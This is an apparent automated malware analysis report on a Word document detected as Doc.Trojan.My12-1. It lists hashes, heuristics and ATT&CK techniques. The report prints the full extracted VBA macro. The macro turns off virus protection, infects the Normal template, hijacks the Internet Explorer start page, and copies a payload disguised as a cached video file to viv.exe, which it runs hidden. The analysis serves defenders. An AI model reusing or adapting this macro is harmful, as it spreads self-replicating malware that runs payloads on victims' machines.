Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cc8c2c9cf8be63bd…

MALICIOUS

Office (OLE)

28.0 KB Created: 2002-08-22 02:47:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: b230c7153e7a8e2b1acdb8d5589c9a8f SHA-1: 95bae621bf12d10779efacbb1a24d8c36956efa2 SHA-256: cc8c2c9cf8be63bd1963da19069fd108eeb380ce676b8187181e5f0802ceee24
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1105 Ingress Tool Transfer

The sample contains a Document_Open VBA macro that executes the Shell() function. This macro attempts to set the Internet Explorer start page to 'http://my12.narod.ru/www.htm', and then executes a command to copy files from a temporary directory to 'c:\12.txt'. It further processes this file to construct a new file 'c:\123.txt' which appears to be used to stage a payload named 'c:\viv.exe'.

Heuristics 6

  • ClamAV: Doc.Trojan.My12-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.My12-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://my12.narod.ru/www.htm� In document text (OLE body)
    • http://my12.narod.ru/www.htmIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1972 bytes
SHA-256: eb1f9e9155a07ad7006984d9d9f735e10467ea04477517d2f8e27e5c253b84d7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'<-signature string
Private Sub Document_Open()
On Error Resume Next
Application.Options.VirusProtection = False
Set x = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
Set y = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
If x.Lines(1, 1) <> "'<-signature string" Then
x.DeleteLines 1, x.CountOfLines
End If
If x.CountOfLines = 0 Then
x.InsertLines 1, y.Lines(1, y.CountOfLines)
End If
NormalTemplate.Save
If y.Lines(1, 1) <> "'<-signature string" Then
y.DeleteLines 1, y.CountOfLines
End If
If y.CountOfLines = 0 Then
y.InsertLines 1, x.Lines(1, x.CountOfLines)
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main", "Start Page") = "http://my12.narod.ru/www.htm"
Dim RetVal
RetVal = Shell("command.com /c dir/a/b>c:\12.txt c:\windows\tempor~1\content.IE5\", 0)
For I = 1 To 10000000
Next I
Dim SourFile, DestinatFile
SourFile = "c:\12.txt"
DestinatFile = "c:\123.txt"
FileCopy SourFile, DestinatFile
Dim MyString
Open "c:\12.txt" For Input As #1
Open "c:\123.txt" For Output As #2
Do While Not EOF(1)
    Line Input #1, MyString
    Debug.Print MyString
Print #2, "C:\Windows\Temporary Internet Files\Content.IE5\"; MyString; "\web31[1].avi"

Loop
Close #1
Close #2
Dim TextLine
Open "c:\123.txt" For Input As #1
Do While Not EOF(1)
    Line Input #1, TextLine
    Debug.Print TextLine

Dim SourceFile, DestinationFile
SourceFile = TextLine
On Error Resume Next
DestinationFile = "c:\viv.exe"
FileCopy SourceFile, DestinationFile

Loop
Close #1
Kill "c:\12.txt"
Kill "c:\123.txt"

Dim MyAppID
MyAppID = Shell("c:\viv.exe", 0)
AppActivate MyAppID
End Sub